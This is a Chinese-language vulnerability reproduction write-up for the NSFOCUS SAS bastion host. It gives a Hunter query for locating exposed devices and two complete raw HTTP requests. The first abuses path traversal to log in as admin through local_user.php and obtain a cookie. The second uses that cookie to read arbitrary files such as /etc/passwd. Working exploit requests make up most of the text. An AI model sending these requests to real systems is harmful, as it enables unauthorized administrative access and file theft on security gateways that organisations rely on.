L5-1绿盟-SAS堡垒机-任意文件读取

漏洞描述：

绿盟堡垒机后台存在任意文件读取漏洞，攻击者可通过绿盟SAS堡垒机local_user.php任意用户登录漏洞获取cookie，然后在通过/webconf/GetFile 接口进行任意文件读取。

网站图片:

网络测绘:

Hunter 语法:

• hunterapp.name=“NSFOCUS 绿盟 SAS”

漏洞复现:

先通过绿盟SAS堡垒机local_user.php任意用户登录漏洞获取cookie

payload：

GET /api/virtual/home/status?cat=./././././././usr/local/nsfocus/web/apache2/www/local_user.php&method=login&user_account=admin HTTP/1.1
Host: xx.xx.xx.xx
Cookie: PHPSESSID=03eea4323452c328c6462f1bb50a0a9b; Hm_lvt_2743f882f7de0bd7d8ffc885a04c90f5=1692345507; Hm_lpvt_2743f882f7de0bd7d8ffc885a04c90f5=1692345507; left_menustatue_NSFOCUSnbspSASH=0|0|https://yzyx.loogear.com/home/status
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

效果图:

通过上一步获取到的cookie替换POC中的cookie即可实现任意文件读取

GET /webconf/GetFile/index?path=./././././././etc/passwd HTTP/1.1
Host: xx.xx.xx.xx
Cookie: PHPSESSID=4d44c08bdf4492b7877f79ffa7122d3c
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close